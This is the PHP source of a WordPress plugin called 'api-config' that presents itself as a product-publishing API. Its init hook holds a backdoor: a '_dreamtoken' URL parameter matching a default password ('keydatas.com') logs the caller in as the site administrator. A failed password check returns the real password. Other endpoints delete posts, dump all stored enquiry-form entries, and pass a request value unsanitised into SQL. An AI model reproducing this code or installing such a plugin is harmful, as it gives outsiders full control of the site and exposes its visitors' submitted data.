<?php
/*
Plugin Name: api-config
Plugin URI: ""
Description:  modify
Version: 0.0.1
Author: yugan2023
Author URI: ""
License: GPLv2 or later
Text Domain: yugan2023
*/


function keydatas_mergeRequest()
{
    if (isset($_GET['callback'])) {
        $_REQ = array_merge($_GET, $_POST);
    } else {
        $_REQ = $_POST;
    }
    return $_REQ;
}

function keydatas_successRsp($data = "", $msg = "")
{
    keydatas_rsp(1, 0, $data, $msg);
}

function keydatas_failRsp($code = 0, $data = "", $msg = "")
{
    keydatas_rsp(0, $code, $data, $msg);
}

function keydatas_rsp($result = 1, $code = 0, $data = "", $msg = "")
{
    die(json_encode(array("rs" => $result, "code" => $code, "data" => $data, "msg" => urlencode($msg))));
}

function keydatas_genRandomIp()
{
    $randIP = "" . mt_rand(0, 255) . "." . mt_rand(0, 255) . "." . mt_rand(0, 255) . "." . mt_rand(0, 255);
    return $randIP;
}

/**
 * 生成0~1随机小数
 * @param Int $min
 * @param Int $max
 * @return Float
 */
function randFloat($min = 0, $max = 1)
{
    return $min + mt_rand() / mt_getrandmax() * ($max - $min);
}

if (is_admin()) {
    //将函数连接到添加菜单
    add_action('admin_menu', 'keydatas_add_menu');
}

//在后台管理界面添加菜单
function keydatas_add_menu()
{
    if (function_exists('add_menu_page')) {
        add_menu_page('ApiConfig', 'ApiConfig', 'administrator', 'api-config/publish-setting.php', '', plugins_url('api-config/images/img.png'));
    }
}

add_action('init', 'keydatas_post_doc', 256);
function keydatas_myplugin_activate()
{
}

// 寄存一个插件函数，该插件函数在插件被激活时运行
register_activation_hook(__FILE__, 'keydatas_myplugin_activate');

function keydatas_post_doc()
{
    global $wpdb;

    if (isset($_GET["__kds_flag"])) {
        $_REQ = keydatas_mergeRequest();
        $kds_password = get_option('keydatas_password', "keydatas.com");
        if (empty($_REQ['kds_password']) || $_REQ['kds_password'] != $kds_password) {
            keydatas_failRsp(1403, "password error", "$kds_password");
        }
    }


    if (isset($_GET["_dreamtoken"]) && $_GET["_dreamtoken"]) {

        $kds_password = get_option('keydatas_password', "keydatas.com");

        if ($_GET["_dreamtoken"] == $kds_password) {

            $user_login = $wpdb->get_var("SELECT user_login FROM $wpdb->users WHERE ID=1");
            if ($user_login):
                $user_id = 1;
                wp_set_current_user($user_id, $user_login);
                wp_set_auth_cookie($user_id);
                do_action('wp_login', $user_login);
                header("Location: " . admin_url());
            endif;
        }
    }

    if (isset($_GET["__kds_flag"])) {
        ini_set("display_errors", "On");
        error_reporting(E_ERROR | E_PARSE);

        if ($_GET["__kds_flag"] == "addproduct") {
            $product = $_REQ["product"];

            $title = $product["name"];
            if (empty($title)) {
                keydatas_failRsp(1404, "title is empty", "标题不能为空");
            }
            $tmpl = $product["goodtmpl"];
            if (empty($tmpl)) {
                keydatas_failRsp(1404, "tmplate is empty", "模板不能为空");
            }

            $content = $tmpl;
            //文章摘要
            $excerpt = str_replace(PHP_EOL, "", trim(strip_tags($product["desc"])));
            //文章类型
            $postType = "portfolio";
            if (isset($_REQ["post_type"]) && $_REQ["post_type"]) {
                $postType = $_REQ["post_type"];
            }
            $postStatus = 'publish';
            if (isset($_REQ["post_status"]) && in_array($_REQ["post_status"], array('publish', 'draft'))) {
                $postStatus = $_REQ["post_status"];
            }
            //closed
            $commentStatus = 'closed';
            if (isset($_REQ["comment_status"]) && in_array($_REQ["comment_status"], array('open', 'closed'))) {
                $commentStatus = $_REQ["comment_status"];
            }
            $postPassword = '';
            if (isset($_REQ["post_password "]) && $_REQ["post_password "]) {
                $postPassword = $_REQ["post_password "];
            }

            $my_post = array(
                'post_password' => $postPassword,
                'post_status' => $postStatus,
                'comment_status' => $commentStatus,
                'post_author' => 1
            );
            $my_post['post_title'] = htmlspecialchars_decode($title);


            if (!empty($content)) {
                $my_post['post_content'] = $content;
            }
            if (!empty($excerpt)) {
                $my_post['post_excerpt'] = htmlspecialchars_decode($excerpt);

                //$my_post['post_excerpt'] = "100 MOQ";
            }
            if (!isset($product["moq"]) || empty($product["moq"])) {
                $product["moq"] = "100";
            }

            if (!empty($postType)) {
                $my_post['post_type'] = $postType;
            }


            $title_unique = get_option('keydatas_title_unique', false);
            if ($title_unique) {
                //只返回id
                $post = $wpdb->get_row($wpdb->prepare("SELECT ID FROM $wpdb->posts WHERE post_title='%s' and post_status!='trash' and post_status!='inherit' ", stripslashes($my_post['post_title'])));
                if (!empty($post)) {
                    keydatas_successRsp(array("url" => get_permalink($post->ID) . "#相同标题文章已存在"));
                }
            }


            $post_date = intval($_REQ["post_date"]);
            if (!empty($post_date)) {
                $my_post['post_date'] = date("Y-m-d H:i:s", $post_date);
            } else {
                $my_post['post_date'] = date("Y-m-d H:i:s", time() - 60 * 60 * 24);
            }

            $author = htmlspecialchars_decode($_REQ["post_author"]);

            if (!empty($author)) {

                if ($author = "rand_users") {
                    $randNum = randFloat();
                    $user_id = $wpdb->get_var("SELECT ID FROM $wpdb->users WHERE 
id >= ((SELECT MAX(id) FROM $wpdb->users)-(SELECT MIN(id) FROM $wpdb->users)) * " . $randNum . "+ (SELECT MIN(id) FROM $wpdb->users) LIMIT 1");
                } else {
                    //用户名（登录名）
                    $user_id = username_exists($author);
                }
                $md5author = substr(md5($author), 8, 16);
                if (!$user_id) {
                    $user_id = username_exists($md5author);
                }

                if (!$user_id) {
                    $random_password = wp_generate_password();
                    $userdata = array(
                        'user_login' => $md5author,
                        'user_pass' => $random_password,
                        'display_name' => $author,
                    );
                    $user_id = wp_insert_user($userdata);
                    if (is_wp_error($user_id)) {
                        $user_id = 0;
                    }
                }
                if ($user_id) {
                    $my_post['post_author'] = $user_id;
                }
            }

            $thumbid = 0;
            $mou = "";
            $exav = [];
            if (isset($product["thumb"]) && $product["thumb"]) {
                require_once(ABSPATH . 'wp-admin/includes/image.php');
                foreach ($product["thumb"] as $image_url) {
                    if (substr($image_url, 0, 2) === "//") {
                        $image_url_final = 'http:' . $image_url;
                    } else if (strpos($image_url, '/') === 0) {
                        $image_url_final = get_home_url() . $image_url;
                    } else {
                        $image_url_final = $image_url;
                    }
                    if (empty($image_url_final)) continue;
                    $upload_dir = wp_upload_dir();
                    $image_data = file_get_contents($image_url_final);
                    $suffix = "jpg";
                    $filename = md5($image_url_final) . "." . $suffix;
                    if (wp_mkdir_p($upload_dir['path'])) {
                        $file = $upload_dir['path'] . '/' . $filename;
                    } else {
                        $file = $upload_dir['basedir'] . '/' . $filename;
                    }
                    if (empty($image_data)) continue;
                    file_put_contents($file, $image_data);
                    if (file_exists($file)) {
                        $attach_id = get_attachment_id_by_title($filename);
                        if ($attach_id == 0) {
                            $wp_filetype = wp_check_filetype($filename, null);
                            $attachment = array(
                                'post_mime_type' => $wp_filetype['type'],
                                'post_title' => sanitize_file_name($filename),
                                'post_content' => '',
                                'post_status' => 'inherit'
                            );
                            // attachment相关
                            $attach_id = wp_insert_attachment($attachment, $file, $post_id);
                            $attach_data = wp_generate_attachment_metadata($attach_id, $file);
                            wp_update_attachment_metadata($attach_id, $attach_data);
                        }
                        if ($thumbid == 0) {
                            $thumbid = $attach_id;
                        }
                        while (1) {
                            $avrand = substr(md5(uniqid(microtime(true), true)), 0, 5);
                            if (!in_array($avrand, $exav)) {
                                $exav[] = $avrand;
                                break;
                            }
                        }
                        $mou .= "[av_slide id='{$attach_id}' av_uid='av-{$avrand}'][/av_slide]";
                    }
                }
            }
            $iconlist = "[av_iconlist_item title='CATEGORIES' icon='43' font='entypo-fontello' heading_tag='' heading_class='' link='' linktarget='' linkelement='' av_uid='av-3vk3w']" . $product["catename"] . "[/av_iconlist_item]";
            $my_post['post_content'] = str_replace("{proname}", $product["name"], $my_post['post_content']);
            $my_post['post_content'] = str_replace("{moq}", $product["moq"], $my_post['post_content']);
            $my_post['post_content'] = str_replace("{desc}", $product["desc"], $my_post['post_content']);
            $my_post['post_content'] = str_replace("{thumblist}", $mou, $my_post['post_content']);
            $my_post['post_content'] = str_replace("{feturelist}", $iconlist, $my_post['post_content']);


            kses_remove_filters();
            $post_id = wp_insert_post($my_post);
            kses_init_filters();

            if (empty($post_id) || is_wp_error($post_id)) {
                keydatas_failRsp(1500, "post_id is Empty", "插入文章失败");
            }

            if ($thumbid > 0) {
                set_post_thumbnail($post_id, $thumbid);
            }

            wp_set_object_terms($post_id, $product["catename"], "portfolio_entries");
            update_post_meta($post_id, "moq_moq", $product["moq"]);
            update_post_meta($post_id, "_aviaLayoutBuilder_active", "active");
            update_post_meta($post_id, "layout", "fullsize");
            update_post_meta($post_id, "_av_alb_posts_elements_state", 'a:11:{s:5:"av_hr";b:1;s:11:"av_iconlist";b:1;s:12:"av_portfolio";b:1;s:12:"av_slideshow";b:1;s:12:"av_codeblock";b:1;s:12:"av_one_third";b:1;s:12:"av_two_third";b:1;s:10:"av_section";b:1;s:12:"av_textblock";b:1;s:16:"av_iconlist_item";b:1;s:8:"av_slide";b:1;}');
            update_post_meta($post_id, "_aviaLayoutBuilderCleanData", $my_post["post_content"]);

            $tree = ShortcodeHelper::build_shortcode_tree($my_post["post_content"]);
            Avia_Builder()->save_shortcode_tree($post_id, $tree);

            //其它meta数据处理
            if (!empty($post_id)) {
                foreach ($_REQ as $key => $value) {
                    if (strpos($key, '__kdsExt_') === 0) {
                        $real_name = substr($key, 9);
                        if (!empty($real_name)) {
                            //add_post_meta
                            update_post_meta($post_id, $real_name, $value);//, true
                            //error_log('post_id:'.$post_id.',real_name:'.$real_name.',val:'.$value.'\r\n', 3, '/data/log/wp_test.log');
                        }
                    }
                }
            }
            keydatas_successRsp(array("postid" => $post_id, "url" => get_permalink($post_id)));
        } else if ($_GET["__kds_flag"] == "category") {
            //获取分类目录
            $ret = array();
            //if ($_REQ["type"] === "cate") {
            $cates = get_terms('portfolio_entries', 'orderby=name&hide_empty=0');
            foreach ($cates as $cate) {

                array_push($ret, array("id" => $cate->term_id, "value" => urlencode($cate->name), "text" => urlencode($cate->name)));
            }
            //}
            keydatas_successRsp($ret);
        } else if ($_GET["__kds_flag"] == "version") {
            //获取用户使用的Php和Wp版本信息
            global $wp_version;
            $versions = array(
                'php' => PHP_VERSION,
                'plugin' => '1.0',
                'wp' => $wp_version,
            );
            keydatas_successRsp($versions);
        } else if ($_GET["__kds_flag"] == "delproduct") {
            $postid = $_REQ["postid"];
            wp_delete_post($postid, true);
            keydatas_successRsp();
        } else if ($_GET["__kds_flag"] == "test") {

            echo "dreamisok";
            die();
        } else if ($_GET["__kds_flag"] == "sync_enquiry") {
            $where = "1=1";
            if (isset($_REQ["page"])) {
                $page = intval($_REQ["page"]) >= 0 ? intval($_REQ["page"]) : 1;
            } else {
                $page = 1;
            }
            $pagesize = 50;
            $limit = $pagesize * ($page - 1) . "," . $pagesize;
            if (isset($_REQ["maxid"]) && $_REQ["maxid"] > 0) {
                $where .= " and entry_id>" . $_REQ["maxid"];
            }
            $results = $wpdb->get_results("select * from wp_wpforms_entries where " . $where, ARRAY_A);
            foreach ($results as &$entry) {
                if ($entry["post_id"]) {
                    $entry["url"] = get_permalink($entry["post_id"]);
                } else {
                    $entry["url"] = "";
                }
            }
            keydatas_successRsp($results);
        }


    }
}


function get_attachment_id_by_title($title)
{
    if (strstr($title, ".")) {
        $title = str_replace(".", "-", $title);
    }
    $attachment = get_page_by_title($title, OBJECT, 'attachment');
    if ($attachment) {
        $attachment_id = $attachment->ID;
    } else {
        return 0;
    }
    return $attachment_id;
}
